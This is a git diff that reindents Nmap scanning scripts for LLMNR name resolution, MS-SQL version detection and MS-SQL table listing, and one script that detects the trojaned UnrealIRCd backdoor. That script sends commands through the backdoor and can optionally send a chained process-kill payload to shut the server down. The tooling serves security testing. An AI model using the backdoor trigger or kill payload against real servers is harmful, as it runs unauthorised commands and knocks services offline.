- stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command);
- local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
+ -- Send an innocuous command as fodder for tryssl.
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command);
+ local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
- -- Make sure the socket worked
- if(not(socket) or not(response)) then
- stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host")
- return nil
- end
+ -- Make sure the socket worked
+ if(not(socket) or not(response)) then
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host")
+ return nil
+ end
- socket:set_timeout(banner_timeout * 1000)
+ socket:set_timeout(banner_timeout * 1000)
- -- Look for the end of initial server messages. This allows reverse DNS
- -- resolution and ident lookups to time out and not interfere with our
- -- timing measurement.
- status = true
- data = response
- while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
- status, response = socket:receive_bytes(0)
- if status then
- data = data .. response
- end
- end
+ -- Look for the end of initial server messages. This allows reverse DNS
+ -- resolution and ident lookups to time out and not interfere with our
+ -- timing measurement.
+ status = true
+ data = response
+ while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
+ status, response = socket:receive_bytes(0)
+ if status then
+ data = data .. response
+ end
+ end
- if not status then
- stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response)
- return nil
- end
+ if not status then
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response)
+ return nil
+ end
- -- Send the backdoor command.
- stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command);
- status, err = socket:send(full_command .. "\n")
- if not status then
- stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err)
- return nil
- end
+ -- Send the backdoor command.
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command);
+ status, err = socket:send(full_command .. "\n")
+ if not status then
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err)
+ return nil
+ end
- -- Get the current time so we can measure the delay
- local time = os.time(os.date('*t'))
- socket:set_timeout((delay + 5) * 1000)
+ -- Get the current time so we can measure the delay
+ local time = os.time(os.date('*t'))
+ socket:set_timeout((delay + 5) * 1000)
- -- Accumulate the response in the 'data' string
- status = true
- data = ""
- while not string.find(data, unique) do
- status, response = socket:receive_bytes(0)
- if status then
- data = data .. response
- else
- -- If the server unexpectedly closes the connection, it
- -- is usually related to throttling. Therefore, we
- -- print a throttling warning.
- stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response)
- socket:close()
- return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
- end
- end
+ -- Accumulate the response in the 'data' string
+ status = true
+ data = ""
+ while not string.find(data, unique) do
+ status, response = socket:receive_bytes(0)
+ if status then
+ data = data .. response
+ else
+ -- If the server unexpectedly closes the connection, it
+ -- is usually related to throttling. Therefore, we
+ -- print a throttling warning.
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response)
+ socket:close()
+ return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
+ end
+ end
- -- Determine the elapsed time
- local elapsed = os.time(os.date('*t')) - time
+ -- Determine the elapsed time
+ local elapsed = os.time(os.date('*t')) - time
- -- Let the user know that everything's working
- stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds")
+ -- Let the user know that everything's working
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Received a response to our command in " .. elapsed .. " seconds")
- -- Determine whether or not the vulnerability is present
- if(elapsed > (delay - delay_fudge)) then
- -- Check if the user wants to kill the server.
- if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
- stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...")
+ -- Determine whether or not the vulnerability is present
+ if(elapsed > (delay - delay_fudge)) then
+ -- Check if the user wants to kill the server.
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Attempting to kill the Trojanned UnrealIRCd server...")
- local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
- local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
- local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
+ local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
+ local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
+ local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
- -- Kill the process
- stdnse.print_debug(1, "Running kill command: %s", kill_command)
- socket:send(kill_command .. "\n")
- end
+ -- Kill the process
+ stdnse.print_debug(1, "Running kill command: %s", kill_command)
+ socket:send(kill_command .. "\n")
+ end
- stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!")
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: Looks like the Trojanned unrealircd is running!")
- -- Close the socket
- socket:close()
+ -- Close the socket
+ socket:close()
- return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
- end
+ return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
+ end
- -- Close the socket
- socket:close()
+ -- Close the socket
+ socket:close()
- stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.")
+ stdnse.print_debug(1, "irc-unrealircd-backdoor: The Trojanned version of unrealircd probably isn't running.")
- return nil
+ return nil
end
diff --git a/scripts/llmnr-resolve.nse b/scripts/llmnr-resolve.nse
index b502b8ba5..15a6ac485 100644
--- a/scripts/llmnr-resolve.nse
+++ b/scripts/llmnr-resolve.nse
@@ -37,11 +37,11 @@ For more information, see:
--
prerule = function()
- if not nmap.is_privileged() then
- stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
- return false
- end
- return true
+ if not nmap.is_privileged() then
+ stdnse.print_verbose("%s not running due to lack of privileges.", SCRIPT_NAME)
+ return false
+ end
+ return true
end
author = "Hani Benhabiles"
@@ -55,30 +55,30 @@ categories = {"discovery", "safe", "broadcast"}
-- @param hostname Hostname to query for.
-- @return query Raw llmnr query.
local llmnrQuery = function(hostname)
- local query = bin.pack(">S", math.random(0,65535)) -- transaction ID
- query = query .. bin.pack(">S", 0x0000) -- Flags: Standard Query
- query = query .. bin.pack(">S", 0x0001) -- Questions = 1
- query = query .. bin.pack(">S", 0x0000) -- Answer RRs = 0
- query = query .. bin.pack(">S", 0x0000) -- Authority RRs = 0
- query = query .. bin.pack(">S", 0x0000) -- Additional RRs = 0
- query = query .. bin.pack(">CAC", #hostname, hostname, 0x00) -- Hostname
- query = query .. bin.pack(">S", 0x0001) -- Type: Host Address
- query = query .. bin.pack(">S", 0x0001) -- Class: IN
- return query
+ local query = bin.pack(">S", math.random(0,65535)) -- transaction ID
+ query = query .. bin.pack(">S", 0x0000) -- Flags: Standard Query
+ query = query .. bin.pack(">S", 0x0001) -- Questions = 1
+ query = query .. bin.pack(">S", 0x0000) -- Answer RRs = 0
+ query = query .. bin.pack(">S", 0x0000) -- Authority RRs = 0
+ query = query .. bin.pack(">S", 0x0000) -- Additional RRs = 0
+ query = query .. bin.pack(">CAC", #hostname, hostname, 0x00) -- Hostname
+ query = query .. bin.pack(">S", 0x0001) -- Type: Host Address
+ query = query .. bin.pack(">S", 0x0001) -- Class: IN
+ return query
end
--- Sends a llmnr query.
-- @param query Query to send.
local llmnrSend = function(query, mcast, mport)
- -- Multicast IP and UDP port
- local sock = nmap.new_socket()
- local status, err = sock:connect(mcast, mport, "udp")
- if not status then
- stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
- return
- end
- sock:send(query)
- sock:close()
+ -- Multicast IP and UDP port
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(mcast, mport, "udp")
+ if not status then
+ stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
+ return
+ end
+ sock:send(query)
+ sock:close()
end
-- Listens for llmnr responses
@@ -86,130 +86,130 @@ end
-- @param timeout Maximum time to listen.
-- @param result table to put responses into.
local llmnrListen = function(interface, timeout, result)
- local condvar = nmap.condvar(result)
- local start = nmap.clock_ms()
- local listener = nmap.new_socket()
- local status, l3data, _
+ local condvar = nmap.condvar(result)
+ local start = nmap.clock_ms()
+ local listener = nmap.new_socket()
+ local status, l3data, _
- -- packets that are sent to our UDP port number 5355
- local filter = 'dst host ' .. interface.address .. ' and udp src port 5355'
- listener:set_timeout(100)
- listener:pcap_open(interface.device, 1024, true, filter)
+ -- packets that are sent to our UDP port number 5355
+ local filter = 'dst host ' .. interface.address .. ' and udp src port 5355'
+ listener:set_timeout(100)
+ listener:pcap_open(interface.device, 1024, true, filter)
- while (nmap.clock_ms() - start) < timeout do
- status, _, _, l3data = listener:pcap_receive()
- if status then
- local p = packet.Packet:new(l3data, #l3data)
- -- Skip IP and UDP headers
- local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1)
- -- Flags
- local _, trans = bin.unpack(">S", llmnr)
- local _, flags = bin.unpack(">S", llmnr, 3)
- -- Questions number
- local _, questions = bin.unpack(">S", llmnr, 5)
+ while (nmap.clock_ms() - start) < timeout do
+ status, _, _, l3data = listener:pcap_receive()
+ if status then
+ local p = packet.Packet:new(l3data, #l3data)
+ -- Skip IP and UDP headers
+ local llmnr = string.sub(l3data, p.ip_hl*4 + 8 + 1)
+ -- Flags
+ local _, trans = bin.unpack(">S", llmnr)
+ local _, flags = bin.unpack(">S", llmnr, 3)
+ -- Questions number
+ local _, questions = bin.unpack(">S", llmnr, 5)
- -- Make verifications
- -- Message == Response bit
- -- and 1 Question (hostname we requested) and
- if (bit.rshift(flags, 15) == 1) and questions == 0x01 then
- stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src)
- -- Skip header's 12 bytes
- -- extract host length
- local index, qlen = bin.unpack(">C", llmnr, 13)
- -- Skip hostname, null byte, type field and class field
- index = index + qlen + 1 + 2 + 2
+ -- Make verifications
+ -- Message == Response bit
+ -- and 1 Question (hostname we requested) and
+ if (bit.rshift(flags, 15) == 1) and questions == 0x01 then
+ stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src)
+ -- Skip header's 12 bytes
+ -- extract host length
+ local index, qlen = bin.unpack(">C", llmnr, 13)
+ -- Skip hostname, null byte, type field and class field
+ index = index + qlen + 1 + 2 + 2
- -- Now, answer record
- local response, alen = {}
- index, alen = bin.unpack(">C", llmnr, index)
- -- Extract hostname with the correct case sensivity.
- index, response.hostname = bin.unpack(">A".. alen, llmnr, index)
+ -- Now, answer record
+ local response, alen = {}
+ index, alen = bin.unpack(">C", llmnr, index)
+ -- Extract hostname with the correct case sensivity.
+ index, response.hostname = bin.unpack(">A".. alen, llmnr, index)
- -- skip null byte, type, class, ttl, dlen
- index = index + 1 + 2 + 2 + 4 + 2
- index, response.address = bin.unpack(" 0 then
- for _, response in pairs(result) do
- table.insert(output, response.hostname.. " : " .. response.address)
- if target.ALLOW_NEW_TARGETS then
- target.add(response.address)
- end
+ -- Check responses
+ if #result > 0 then
+ for _, response in pairs(result) do
+ table.insert(output, response.hostname.. " : " .. response.address)
+ if target.ALLOW_NEW_TARGETS then
+ target.add(response.address)
end
- if ( not(target.ALLOW_NEW_TARGETS) ) then
- table.insert(output,"Use the newtargets script-arg to add the results as targets")
- end
- return stdnse.format_output(true, output)
end
+ if ( not(target.ALLOW_NEW_TARGETS) ) then
+ table.insert(output,"Use the newtargets script-arg to add the results as targets")
+ end
+ return stdnse.format_output(true, output)
+ end
end
diff --git a/scripts/ms-sql-info.nse b/scripts/ms-sql-info.nse
index 18366a08c..2ab52b005 100644
--- a/scripts/ms-sql-info.nse
+++ b/scripts/ms-sql-info.nse
@@ -105,7 +105,7 @@ be disabled using the mssql.scanned-ports-only script argument.
-- added script arg to prevent script from connecting to ports that
-- weren't in original Nmap scan )
-- rev 1.5 (2011-02-01 - Moved discovery functionality into ms-sql-discover.nse and
--- broadcast-ms-sql-discovery.nse )
+-- broadcast-ms-sql-discovery.nse )
author = "Chris Woodbury, Thomas Buchanan"
@@ -115,75 +115,75 @@ categories = {"default", "discovery", "safe"}
hostrule = function(host)
- if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then
- return mssql.Helper.GetDiscoveredInstances( host ) ~= nil
- else
- local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} )
- local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} )
- -- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open
- local smbPortNumber = smb.get_port( host )
+ if ( mssql.Helper.WasDiscoveryPerformed( host ) ) then
+ return mssql.Helper.GetDiscoveredInstances( host ) ~= nil
+ else
+ local sqlDefaultPort = nmap.get_port_state( host, {number = 1433, protocol = "tcp"} )
+ local sqlBrowserPort = nmap.get_port_state( host, {number = 1434, protocol = "udp"} )
+ -- smb.get_port() will return nil if no SMB port was scanned OR if SMB ports were scanned but none was open
+ local smbPortNumber = smb.get_port( host )
- if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or
- (sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or
- (sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or
- (smbPortNumber ~= nil) ) then
- return true
- end
- end
+ if ( (stdnse.get_script_args( {"mssql.instance-all", "mssql.instance-name", "mssql.instance-port"} ) ~= nil) or
+ (sqlBrowserPort and (sqlBrowserPort.state == "open" or sqlBrowserPort.state == "open|filtered")) or
+ (sqlDefaultPort and (sqlDefaultPort.state == "open" or sqlDefaultPort.state == "open|filtered")) or
+ (smbPortNumber ~= nil) ) then
+ return true
+ end
+ end
end
--- Adds a label and value to an output table. If the value is a boolean, it is
-- converted to Yes/No; if the value is nil, nothing is added to the table.
local function add_to_output_table( outputTable, outputLabel, outputData )
- if outputData == nil then return end
+ if outputData == nil then return end
- if outputData == true then
- outputData = "Yes"
- elseif outputData == false then
- outputData = "No"
- end
+ if outputData == true then
+ outputData = "Yes"
+ elseif outputData == false then
+ outputData = "No"
+ end
- table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
+ table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
end
--- Returns formatted output for the given version data
local function create_version_output_table( versionInfo )
- local versionOutput = {}
+ local versionOutput = {}
- versionOutput["name"] = "Version: " .. versionInfo:ToString()
- if ( versionInfo.source ~= "SSRP" ) then
- add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber )
- end
- add_to_output_table( versionOutput, "Product", versionInfo.productName )
- add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel )
- add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched )
+ versionOutput["name"] = "Version: " .. versionInfo:ToString()
+ if ( versionInfo.source ~= "SSRP" ) then
+ add_to_output_table( versionOutput, "Version number", versionInfo.versionNumber )
+ end
+ add_to_output_table( versionOutput, "Product", versionInfo.productName )
+ add_to_output_table( versionOutput, "Service pack level", versionInfo.servicePackLevel )
+ add_to_output_table( versionOutput, "Post-SP patches applied", versionInfo.patched )
- return versionOutput
+ return versionOutput
end
--- Returns formatted output for the given instance
local function create_instance_output_table( instance )
- -- if we didn't get anything useful (due to errors or the port not actually
- -- being SQL Server), don't report anything
- if not ( instance.instanceName or instance.version ) then return nil end
+ -- if we didn't get anything useful (due to errors or the port not actually
+ -- being SQL Server), don't report anything
+ if not ( instance.instanceName or instance.version ) then return nil end
- local instanceOutput = {}
- instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
+ local instanceOutput = {}
+ instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
- add_to_output_table( instanceOutput, "Instance name", instance.instanceName )
- if instance.version then
- local versionOutput = create_version_output_table( instance.version )
- table.insert( instanceOutput, versionOutput )
- end
- if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
- add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
- add_to_output_table( instanceOutput, "Clustered", instance.isClustered )
+ add_to_output_table( instanceOutput, "Instance name", instance.instanceName )
+ if instance.version then
+ local versionOutput = create_version_output_table( instance.version )
+ table.insert( instanceOutput, versionOutput )
+ end
+ if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
+ add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
+ add_to_output_table( instanceOutput, "Clustered", instance.isClustered )
- return instanceOutput
+ return instanceOutput
end
@@ -191,74 +191,74 @@ end
--- Processes a single instance, attempting to determine its version, etc.
local function process_instance( instance )
- local foundVersion = false
- local ssnetlibVersion
+ local foundVersion = false
+ local ssnetlibVersion
- -- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll
- -- connect to the instance to get an accurate version number
- if ( instance:HasNetworkProtocols() ) then
- local ssnetlibVersion
- foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance )
- if ( foundVersion ) then
- instance.version = ssnetlibVersion
- stdnse.print_debug( 1, "%s: Retrieved SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
- else
- stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
- end
- end
+ -- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll
+ -- connect to the instance to get an accurate version number
+ if ( instance:HasNetworkProtocols() ) then
+ local ssnetlibVersion
+ foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance )
+ if ( foundVersion ) then
+ instance.version = ssnetlibVersion
+ stdnse.print_debug( 1, "%s: Retrieved SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
+ else
+ stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() )
+ end
+ end
- -- If we didn't get a version from SSNetLib, give the user some detail as to why
- if ( not foundVersion ) then
- if ( not instance:HasNetworkProtocols() ) then
- stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
- end
- if ( instance.version ) then
- stdnse.print_debug( 1, "%s: Using version number from SSRP response for %s.", SCRIPT_NAME, instance:GetName() )
- else
- stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() )
- end
- end
+ -- If we didn't get a version from SSNetLib, give the user some detail as to why
+ if ( not foundVersion ) then
+ if ( not instance:HasNetworkProtocols() ) then
+ stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
+ end
+ if ( instance.version ) then
+ stdnse.print_debug( 1, "%s: Using version number from SSRP response for %s.", SCRIPT_NAME, instance:GetName() )
+ else
+ stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() )
+ end
+ end
- -- Give some version info back to Nmap
- if ( instance.port and instance.version ) then
- instance.version:PopulateNmapPortVersion( instance.port )
- nmap.set_port_version( instance.host, instance.port)
- end
+ -- Give some version info back to Nmap
+ if ( instance.port and instance.version ) then
+ instance.version:PopulateNmapPortVersion( instance.port )
+ nmap.set_port_version( instance.host, instance.port)
+ end
end
action = function( host )
- local scriptOutput = {}
+ local scriptOutput = {}
- local status, instanceList = mssql.Helper.GetTargetInstances( host )
- -- if no instances were targeted, then display info on all
- if ( not status ) then
- if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then
- mssql.Helper.Discover( host )
- end
- instanceList = mssql.Helper.GetDiscoveredInstances( host )
- end
+ local status, instanceList = mssql.Helper.GetTargetInstances( host )
+ -- if no instances were targeted, then display info on all
+ if ( not status ) then
+ if ( not mssql.Helper.WasDiscoveryPerformed( host ) ) then
+ mssql.Helper.Discover( host )
+ end
+ instanceList = mssql.Helper.GetDiscoveredInstances( host )
+ end
- if ( not instanceList ) then
- return stdnse.format_output( false, instanceList or "" )
- else
- for _, instance in ipairs( instanceList ) do
- if instance.serverName then
- table.insert(scriptOutput, string.format( "Windows server name: %s", instance.serverName ))
- break
- end
- end
- for _, instance in pairs( instanceList ) do
- process_instance( instance )
- local instanceOutput = create_instance_output_table( instance )
- if instanceOutput then
- table.insert( scriptOutput, instanceOutput )
- end
- end
- end
+ if ( not instanceList ) then
+ return stdnse.format_output( false, instanceList or "" )
+ else
+ for _, instance in ipairs( instanceList ) do
+ if instance.serverName then
+ table.insert(scriptOutput, string.format( "Windows server name: %s", instance.serverName ))
+ break
+ end
+ end
+ for _, instance in pairs( instanceList ) do
+ process_instance( instance )
+ local instanceOutput = create_instance_output_table( instance )
+ if instanceOutput then
+ table.insert( scriptOutput, instanceOutput )
+ end
+ end
+ end
- return stdnse.format_output( true, scriptOutput )
+ return stdnse.format_output( true, scriptOutput )
end
diff --git a/scripts/ms-sql-tables.nse b/scripts/ms-sql-tables.nse
index 7e667820b..04557657b 100644
--- a/scripts/ms-sql-tables.nse
+++ b/scripts/ms-sql-tables.nse
@@ -54,7 +54,7 @@ be disabled using the mssql.scanned-ports-only script argument.
-- (default 5). If set to zero or less all tables are returned.
--
-- @args ms-sql-tables.keywords If set shows only tables or columns matching
--- the keywords
+-- the keywords
--
-- @output
-- | ms-sql-tables:
@@ -84,13 +84,13 @@ be disabled using the mssql.scanned-ports-only script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson
-- Revised 04/02/2010 - v0.2
--- - Added support for filters
--- - Changed output formatting of restrictions
--- - Added parameter information in output if parameters are using their
--- defaults.
+-- - Added support for filters
+-- - Changed output formatting of restrictions
+-- - Added parameter information in output if parameters are using their
+-- defaults.
-- Revised 02/01/2011 - v0.3 (Chris Woodbury)
--- - Added ability to run against all instances on a host;
--- - Added compatibility with changes in mssql.lua
+-- - Added ability to run against all instances on a host;
+-- - Added compatibility with changes in mssql.lua
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -104,169 +104,169 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance( instance )
- local status, result, dbs, tables
+ local status, result, dbs, tables
- local output = {}
- local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
- local db_query
- local done_dbs = {}
- local db_limit, tbl_limit
+ local output = {}
+ local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
+ local db_query
+ local done_dbs = {}
+ local db_limit, tbl_limit
- local DB_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} )
- and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5
- local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } )
- and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2
- local keywords_filter = ""
+ local DB_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} )
+ and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxdb', 'mssql-tables.maxdb'} ) ) or 5
+ local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } )
+ and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2
+ local keywords_filter = ""
- if ( DB_COUNT <= 0 ) then
- db_limit = ""
- else
- db_limit = string.format( "TOP %d", DB_COUNT )
- end
- if (TABLE_COUNT <= 0 ) then
- tbl_limit = ""
- else
- tbl_limit = string.format( "TOP %d", TABLE_COUNT )
- end
+ if ( DB_COUNT <= 0 ) then
+ db_limit = ""
+ else
+ db_limit = string.format( "TOP %d", DB_COUNT )
+ end
+ if (TABLE_COUNT <= 0 ) then
+ tbl_limit = ""
+ else
+ tbl_limit = string.format( "TOP %d", TABLE_COUNT )
+ end
- -- Build the keyword filter
- if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
- local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
- local tmp_tbl = {}
+ -- Build the keyword filter
+ if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
+ local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
+ local tmp_tbl = {}
- if( type(keywords) == 'string' ) then
- keywords = { keywords }
- end
+ if( type(keywords) == 'string' ) then
+ keywords = { keywords }
+ end
- for _, v in ipairs(keywords) do
- table.insert(tmp_tbl, ("'%s'"):format(v))
- end
+ for _, v in ipairs(keywords) do
+ table.insert(tmp_tbl, ("'%s'"):format(v))
+ end
- keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format(
- stdnse.strjoin(",", tmp_tbl),
- stdnse.strjoin(",", tmp_tbl)
- )
- end
+ keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format(
+ stdnse.strjoin(",", tmp_tbl),
+ stdnse.strjoin(",", tmp_tbl)
+ )
+ end
- db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs))
+ db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs))
- local creds = mssql.Helper.GetLoginCredentials_All( instance )
- if ( not creds ) then
- output = "ERROR: No login credentials."
- else
- for username, password in pairs( creds ) do
- local helper = mssql.Helper:new()
- status, result = helper:ConnectEx( instance )
- if ( not(status) ) then
- table.insert(output, "ERROR: " .. result)
- break
- end
+ local creds = mssql.Helper.GetLoginCredentials_All( instance )
+ if ( not creds ) then
+ output = "ERROR: No login credentials."
+ else
+ for username, password in pairs( creds ) do
+ local helper = mssql.Helper:new()
+ status, result = helper:ConnectEx( instance )
+ if ( not(status) ) then
+ table.insert(output, "ERROR: " .. result)
+ break
+ end
- if ( status ) then
- status = helper:Login( username, password, nil, instance.host.ip )
- end
+ if ( status ) then
+ status = helper:Login( username, password, nil, instance.host.ip )
+ end
- if ( status ) then
- status, dbs = helper:Query( db_query )
- end
+ if ( status ) then
+ status, dbs = helper:Query( db_query )
+ end
- if ( status ) then
- -- all done?
- if ( #done_dbs == #dbs.rows ) then
- break
- end
+ if ( status ) then
+ -- all done?
+ if ( #done_dbs == #dbs.rows ) then
+ break
+ end
- for k, v in pairs(dbs.rows) do
- if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then
- local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length
- FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st
- WHERE so.id = sc.id AND sc.xtype=st.xtype AND
- so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]]
- query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter)
- status, tables = helper:Query( query )
- if ( not(status) ) then
- stdnse.print_debug(tables)
- else
- local item = {}
- item = mssql.Util.FormatOutputTable( tables, true )
- if ( #item == 0 and keywords_filter ~= "" ) then
- table.insert(item, "Filter returned no matches")
- end
- item.name = v[1]
+ for k, v in pairs(dbs.rows) do
+ if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then
+ local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length
+ FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st
+ WHERE so.id = sc.id AND sc.xtype=st.xtype AND
+ so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]]
+ query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter)
+ status, tables = helper:Query( query )
+ if ( not(status) ) then
+ stdnse.print_debug(tables)
+ else
+ local item = {}
+ item = mssql.Util.FormatOutputTable( tables, true )
+ if ( #item == 0 and keywords_filter ~= "" ) then
+ table.insert(item, "Filter returned no matches")
+ end
+ item.name = v[1]
- table.insert(output, item)
- table.insert(done_dbs, v[1])
- end
- end
- end
- end
- helper:Disconnect()
- end
+ table.insert(output, item)
+ table.insert(done_dbs, v[1])
+ end
+ end
+ end
+ end
+ helper:Disconnect()
+ end
- local pos = 1
- local restrict_tbl = {}
+ local pos = 1
+ local restrict_tbl = {}
- if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
- local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
- if ( type(tmp) == 'table' ) then
- tmp = stdnse.strjoin(',', tmp)
- end
- table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp))
- pos = pos + 1
- else
- table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)")
- end
+ if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
+ local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
+ if ( type(tmp) == 'table' ) then
+ tmp = stdnse.strjoin(',', tmp)
+ end
+ table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp))
+ pos = pos + 1
+ else
+ table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)")
+ end
- if ( DB_COUNT > 0 ) then
- local tmp = ("Output restricted to %d databases"):format(DB_COUNT)
- if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then
- tmp = tmp .. " (see ms-sql-tables.maxdb)"
- end
